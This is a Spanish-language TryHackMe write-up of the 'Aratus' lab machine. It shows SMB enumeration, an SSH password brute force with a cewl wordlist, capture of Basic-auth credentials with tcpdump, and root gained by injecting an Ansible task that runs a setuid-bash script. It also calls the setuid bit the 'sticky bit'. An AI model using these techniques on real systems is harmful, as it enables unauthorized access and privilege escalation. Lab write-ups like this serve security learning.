Aratus - Write Up - Español
Table of Contents
Link | Nivel | Creador |
---|---|---|
Aquí | Medio | Biniru |
Reconocimiento
¡Hey! ¡Bienvenido de nuevo a otra máquina TryHackMe!
¡Hoy estamos pwneando una máquina de Biniru! ¡Ya hemos pwneado otra máquina de este creador, Zeno!
¡Así que comencemos a enumerar con nmap
!
╰─ nmap 10.10.170.245 -sS ─╯
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-26 20:37 CET
Nmap scan report for 10.10.170.245
Host is up (0.15s latency).
Not shown: 994 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 15.85 seconds
Así que vayamos directamente al punto del artículo y enumeremos el servidor samba
. (Tenemos inicio de sesión anónimo
en el FTP
, pero no hay nada allí ;D )
╰─ smbclient -N -L //10.10.170.245/ ─╯
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
temporary share Disk
IPC$ IPC IPC Service (Samba 4.10.16)
SMB1 disabled -- no workgroup available
Parece que tenemos un temporary share
disponible, ¡intentemos iniciar sesión en Anonimamente
!
╰─ smbclient -N "//10.10.170.245/temporary share" ─╯
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 10 14:06:44 2022
.. D 0 Tue Nov 23 17:24:05 2021
.bash_logout H 18 Wed Apr 1 04:17:30 2020
.bash_profile H 193 Wed Apr 1 04:17:30 2020
.bashrc H 231 Wed Apr 1 04:17:30 2020
.bash_history H 0 Sat Mar 26 19:38:54 2022
chapter1 D 0 Tue Nov 23 11:07:47 2021
chapter2 D 0 Tue Nov 23 11:08:11 2021
chapter3 D 0 Tue Nov 23 11:08:18 2021
chapter4 D 0 Tue Nov 23 11:08:25 2021
chapter5 D 0 Tue Nov 23 11:08:33 2021
chapter6 D 0 Tue Nov 23 11:12:24 2021
chapter7 D 0 Tue Nov 23 12:14:27 2021
chapter8 D 0 Tue Nov 23 11:12:45 2021
chapter9 D 0 Tue Nov 23 11:12:53 2021
.ssh DH 0 Mon Jan 10 14:05:34 2022
.viminfo H 0 Sat Mar 26 19:38:54 2022
message-to-simeon.txt N 251 Mon Jan 10 14:06:44 2022
37726212 blocks of size 1024. 35586284 blocks available
smb: \>
Yep! We are in! Let’s download the message-to-simeon.txt
and see what it has inside… (Spoiler: We downloaded all the files, and it wasn’t necessary xD )
¡Sí, estamos dentro! Descarguemos el message-to-simeon.txt
y veamos que tiene dentro… (Spoiler: Descargamos todos los archivos, y no era necesario xD)
╰─ cat message-to-simeon.txt ─╯
Simeon,
Stop messing with your home directory, you are moving files and directories insecurely!
Just make a folder in /opt for your book project...
Also you password is insecure, could you please change it? It is all over the place now!
- Theodore
Hmmm… Parece que el usuario Theodore
le está dejando un mensaje a Simeon
alertándolo de que su contraseña está “por todas partes” y que es insegura… ¿Tal vez se esté refiriendo al servidor web? ¡Veamos si podemos acceder a la carpeta de simeon
!
╰─ curl http://10.10.170.245/simeon/ ─╯
<!DOCTYPE html>
<html lang="en">
<head>
<title>Simoen's Book</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="style.css")>
</head>
<body>
<h1>Simeon's Book</h1>
<p>HTML book created by Simeon.</p>
</body>
<h2>Prologue</h2>
<p>My book is about passion, adventure, drama, war, love, betrayel. I am sure you would like it!</p>
<h2>Table of content</h2>
<ul>
<li><a href="./chapter1.html">Chapter 1</a></li>
<li><a href="./chapter2.html">Chapter 2</a></li>
<li><a href="./chapter3.html">Chapter 3</a></li>
<li><a href="./chapter4.html">Chapter 4</a></li>
<li><a href="./chapter5.html">Chapter 5</a></li>
<li><a href="./chapter6.html">Chapter 6</a></li>
<li><a href="./chapter7.html">Chapter 7</a></li>
<li><a href="./chapter8.html">Chapter 8</a></li>
<li><a href="./chapter9.html">Chapter 9</a></li>
</ul>
</html>
¡Sí! ¡Tenemos bastantes textos aquí! ¡Podemos crear una lista de palabras con cewl
!
╰─ cewl http://10.10.170.245/simeon/ > wl.txt
╰─ wc wl.txt ─╯
207 213 1588 wl.txt
Acceso inicial - Usuario
Ahora, veamos si la contraseña para el servicio SSH
de este usuario está dentro de esa lista de palabras que creamos.
Usamos ncrack
para verificar esto, pero puedes usar hydra
o incluso nmap
.
╰─ ncrack -p 22 -u simeon -P wl.txt 10.10.170.245 ─╯
Starting Ncrack 0.7 ( http://ncrack.org ) at 2022-03-26 20:34 CET
Discovered credentials for ssh on 10.10.170.245 22/tcp:
10.10.170.245 22/tcp ssh: 'simeon' 's[REDACTED]e'
Ncrack done: 1 service scanned in 42.23 seconds.
Ncrack finished.
¡Lo conseguimos! ¡Iniciemos sesión ahora!
╰─ ssh simeon@10.10.170.245 ─╯
simeon@10.10.170.245's password:
Last failed login: Sat Mar 26 20:35:28 CET 2022 from ip-***********.eu-west-1.compute.internal on ssh:notty
There were 206 failed login attempts since the last successful login.
Last login: Sat Mar 26 19:52:51 2022 from ip-***********.eu-west-1.compute.internal
[simeon@aratus ~]$ ls -la
total 20
drwxr-xr-x. 12 simeon simeon 4096 Jan 10 14:06 .
drwxr-xr-x. 5 root root 54 Nov 23 17:24 ..
lrwxrwxrwx. 1 simeon simeon 9 Nov 23 10:48 .bash_history -> /dev/null
-rw-r--r--. 1 simeon simeon 18 Apr 1 2020 .bash_logout
-rw-r--r--. 1 simeon simeon 193 Apr 1 2020 .bash_profile
-rw-r--r--. 1 simeon simeon 231 Apr 1 2020 .bashrc
drwx------. 2 simeon simeon 29 Jan 10 14:05 .ssh
lrwxrwxrwx. 1 root root 9 Dec 2 12:02 .viminfo -> /dev/null
drwxr-xr-x. 5 simeon simeon 66 Nov 23 11:07 chapter1
drwxr-xr-x. 7 simeon simeon 106 Nov 23 11:08 chapter2
drwxr-xr-x. 6 simeon simeon 86 Nov 23 11:08 chapter3
drwxr-xr-x. 6 simeon simeon 86 Nov 23 11:08 chapter4
drwxr-xr-x. 4 simeon simeon 46 Nov 23 11:08 chapter5
drwxr-xr-x. 5 simeon simeon 66 Nov 23 11:12 chapter6
drwxr-xr-x. 4 simeon simeon 46 Nov 23 12:14 chapter7
drwxr-xr-x. 6 simeon simeon 86 Nov 23 11:12 chapter8
drwxr-xr-x. 7 simeon simeon 106 Nov 23 11:12 chapter9
-rw-r--r--. 1 theodore root 251 Jan 10 14:06 message-to-simeon.txt
Wow, no hay flag de usuario esta vez, así que vamos a enumerar un poco más…
[simeon@aratus test-auth]$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
[...]
root 5987 0.0 0.5 182472 2540 ? S 20:24 0:00 /usr/sbin/CROND -n
root 5991 0.0 0.2 113284 1212 ? Ss 20:24 0:00 /bin/sh -c ping -c 30 127.0.0.1 >/dev/null 2>&1
root 5992 0.0 0.2 128556 1284 ? S 20:24 0:00 ping -c 30 127.0.0.1
simeon 5998 0.0 0.3 155424 1788 pts/0 R+ 20:24 0:00 ps aux
Después de enumerar, descubrimos algo bastante inusual e interesante…
Hay un proceso enviando datos extraños al localhost
…
Pero no podemos ver qué está haciendo realmente, así que usamos tcpdump
para verificar los datos que se envían…
[simeon@aratus test-auth]$ tcpdump -i lo -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
20:26:01.766850 IP localhost > localhost: ICMP echo request, id 6024, seq 1, length 64
E..Tj.@.@..............%.....h?b....a....................... !"#$%&'()*+,-./01234567
20:26:01.766866 IP localhost > localhost: ICMP echo reply, id 6024, seq 1, length 64
E..Tj...@..............%.....h?b....a....................... !"#$%&'()*+,-./01234567
20:26:01.930953 IP localhost.53732 > localhost.http: Flags [S], seq 1778871871, win 43690, options [mss 65495,sackOK,TS val 2560860 ecr 0,nop,wscale 6], length 0
E..<}c@.@..V...........Pj.n?.........0.........
.'.\........
20:26:01.930975 IP localhost.http > localhost.53732: Flags [S.], seq 2104954994, ack 1778871872, win 43690, options [mss 65495,sackOK,TS val 2560860 ecr 2560860,nop,wscale 6], length 0
E..<..@.@.<..........P..}w.rj.n@.....0.........
.'.\.'.\....
20:26:01.930988 IP localhost.53732 > localhost.http: Flags [.], ack 1, win 683, options [nop,nop,TS val 2560860 ecr 2560860], length 0
E..4}d@.@..]...........Pj.n@}w.s.....(.....
.'.\.'.\
20:26:01.931196 IP localhost.53732 > localhost.http: Flags [P.], seq 1:224, ack 1, win 683, options [nop,nop,TS val 2560860 ecr 2560860], length 223: HTTP: GET /test-auth/index.html HTTP/1.1
E...}e@.@..}...........Pj.n@}w.s...........
.'.\.'.\GET /test-auth/index.html HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.14.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Authorization: Basic dG[REDACTED]s=
Esto es extraño, pero ahora tenemos una solicitud HTTP
, con un encabezado de ‘Autorización’ enviado…
¡Vamos a decodificar esa texto en base64
para ver qué hay dentro!
[simeon@aratus test-auth]$ echo "dG[REDACTED]s=" | base64 -d
theodore:Ri[REDACTED]ik
¡Sí! ¡Ahora tenemos las credenciales para theodore
y finalmente podemos obtener la flag de usuario!
[simeon@aratus test-auth]$ su theodore
Password:
[theodore@aratus test-auth]$ cat ~/user.txt
THM{[REDACTED]}
Root
¡Tiempo de enumeración otra vez!
Podemos ejecutar un script específico con el usuario automation
y sudo
…
[theodore@aratus ~]$ sudo -l
Matching Defaults entries for theodore on aratus:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User theodore may run the following commands on aratus:
(automation) NOPASSWD: /opt/scripts/infra_as_code.sh
¡Veamos este script rapidamente!
[theodore@aratus ~]$ cat /opt/scripts/infra_as_code.sh
#!/bin/bash
cd /opt/ansible
/usr/bin/ansible-playbook /opt/ansible/playbooks/*.yaml
Parece un script para ejecutar ansible
. Si no sabes qué es ansible
, aquí tienes más información!
Entonces, después de googlear un poco cómo funciona ansible
, comenzamos a buscar algunas tareas dentro de la carpeta ansible
que podemos editar…
¡Resulta que dentro del rol/carpeta geerlingguy.apache
hay una tarea con el nombre configure-RedHat.yml
y podemos editarla!
[theodore@aratus ~]$ ls -la /opt/ansible/roles/geerlingguy.apache/tasks/
total 36
drwxr-xr-x. 2 automation automation 228 Dec 2 11:55 .
drwxr-xr-x. 9 automation automation 178 Dec 2 11:55 ..
-rw-rw-r--. 1 automation automation 1693 Dec 2 11:55 configure-Debian.yml
-rw-rw-r--+ 1 automation automation 1211 Mar 26 20:04 configure-RedHat.yml
-rw-rw-r--. 1 automation automation 546 Dec 2 11:55 configure-Solaris.yml
-rw-rw-r--. 1 automation automation 711 Dec 2 11:55 configure-Suse.yml
-rw-rw-r--. 1 automation automation 1388 Dec 2 11:55 main.yml
-rw-rw-r--. 1 automation automation 193 Dec 2 11:55 setup-Debian.yml
-rw-rw-r--. 1 automation automation 198 Dec 2 11:55 setup-RedHat.yml
-rw-rw-r--. 1 automation automation 134 Dec 2 11:55 setup-Solaris.yml
-rw-rw-r--. 1 automation automation 133 Dec 2 11:55 setup-Suse.yml
¡Aquí está el contenido, contiene todo lo necesario para ejecutar un servidor web apache
!
[theodore@aratus ~]$ cat /opt/ansible/roles/geerlingguy.apache/tasks/configure-RedHat.yml
---
- name: Configure Apache.
lineinfile:
dest: "{{ apache_server_root }}/conf/{{ apache_daemon }}.conf"
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
state: present
mode: 0644
with_items: "{{ apache_ports_configuration_items }}"
notify: restart apache
- name: Check whether certificates defined in vhosts exist.
stat: path={{ item.certificate_file }}
register: apache_ssl_certificates
with_items: "{{ apache_vhosts_ssl }}"
- name: Add apache vhosts configuration.
template:
src: "{{ apache_vhosts_template }}"
dest: "{{ apache_conf_path }}/{{ apache_vhosts_filename }}"
owner: root
group: root
mode: 0644
notify: restart apache
when: apache_create_vhosts | bool
- name: Check if localhost cert exists (RHEL 8 and later).
stat:
path: /etc/pki/tls/certs/localhost.crt
register: localhost_cert
when: ansible_distribution_major_version | int >= 8
- name: Ensure httpd certs are installed (RHEL 8 and later).
command: /usr/libexec/httpd-ssl-gencerts
when:
- ansible_distribution_major_version | int >= 8
- not localhost_cert.stat.exists
Entonces, simplemente agregamos una tarea final dentro de ese archivo, ¡para que podamos ejecutar un exploit!
- name: exploiting you bruh
command: /bin/sh /tmp/exploit.sh
args:
warn: false
Aquí está el exploit que creamos, un simple copiar y pegar para el binario bash
, ¡pero usando el sticky bit! Básicamente, si alguien más ejecuta el archivo, lo ejecutará como el usuario/grupo que lo creó, en este caso, ¡el usuario root
!
[theodore@aratus ~]$ cat /tmp/exploit.sh
cp /bin/bash /tmp/bash ; chmod +s /tmp/bash
¡Y ahora podemos ejecutar con sudo el comando!
[theodore@aratus ~]$ sudo -u automation /opt/scripts/infra_as_code.sh
PLAY [Check status of the firewall] ****************************************************************
TASK [Gathering Facts] *****************************************************************************
ok: [10.10.170.245]
TASK [check firewalld] *****************************************************************************
ok: [10.10.170.245]
[...]
TASK [geerlingguy.apache : Ensure httpd certs are installed (RHEL 8 and later).] *******************
skipping: [10.10.170.245]
TASK [geerlingguy.apache : exploiting you bruh] ****************************************************
changed: [10.10.170.245]
[...]
En el fragmento anterior, ejecutamos exploiting you bruh
con éxito, así que revisemos la carpeta /tmp/
donde deberíamos tener nuestro nuevo binario bash
con permisos root
.
[theodore@aratus ~]$ ls -la /tmp
total 1892
drwxrwxrwt. 8 root root 232 Mar 26 20:10 .
dr-xr-xr-x. 17 root root 224 Mar 25 22:14 ..
drwxrwxrwt. 2 root root 6 Jun 8 2021 .ICE-unix
drwxrwxrwt. 2 root root 6 Jun 8 2021 .Test-unix
drwxrwxrwt. 2 root root 6 Jun 8 2021 .X11-unix
drwxrwxrwt. 2 root root 6 Jun 8 2021 .XIM-unix
drwxrwxrwt. 2 root root 6 Jun 8 2021 .font-unix
-rwsr-sr-x. 1 root root 964536 Mar 26 20:08 bash
-rw-rw-r--. 1 theodore theodore 38 Mar 26 20:09 exploit.sh
drwx------. 3 root root 17 Mar 26 19:40 systemd-private-cdbd947aa2a64a4aa122319c880cbfa3-httpd.service-7CkbTf
-rw-------. 1 theodore theodore 0 Mar 26 19:57 tmp.Pov2h3UlaW
¡Vamos! ¡Tenemos el binario y el dueño es root
! Entonces ahora podemos ejecutar bash
con los permisos del propietario, con la opción -p
.
[theodore@aratus tmp]$ ./bash -p
bash-4.2# id; whoami
uid=1001(theodore) gid=1001(theodore) euid=0(root) egid=0(root) groups=0(root),1001(theodore) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
root
bash-4.2# cat /root/root.txt
THM{[REDACTED]}
¡Y hemos rooteado la máquina!
Eso es todo de mi parte, ¡espero que lo encuentre útil!